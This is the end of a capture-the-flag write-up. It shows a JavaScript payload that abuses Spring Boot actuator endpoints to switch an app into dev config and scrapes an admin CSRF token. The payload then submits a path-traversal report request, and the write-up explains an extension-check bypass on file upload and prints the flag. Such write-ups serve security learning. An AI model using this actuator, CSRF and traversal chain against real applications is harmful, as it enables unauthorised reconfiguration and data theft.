try {
await fetch("/actuator/env", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "app.enforce-production", value: "false" }),
});
await fetch("/actuator/env", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "app.active-config", value: "dev" }),
});
await fetch("/actuator/refresh", { method: "POST" });
await sleep(2000);

const adminPage = await (await fetch("/admin")).text();
const csrfToken = adminPage.match(/name="_csrf" value="([^"]+)"/)[1];

const params = new URLSearchParams();
params.append("_csrf", csrfToken);
params.append("endpoint", "/api/../files/" + filename);

await fetch("/admin/report", { method: "POST", body: params });
} catch (e) {}
})();
</script>

After uploading the exploit (bypassing the extension check by modifying the filename to .html in the multipart request), the editorial bot triggers the reconfiguration and the report-runner. The flag is then leaked to the tags of Article 1.

Flag

UMASS{A_mAn_h3s_f@l13N_1N_tH3_r1v3r}
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE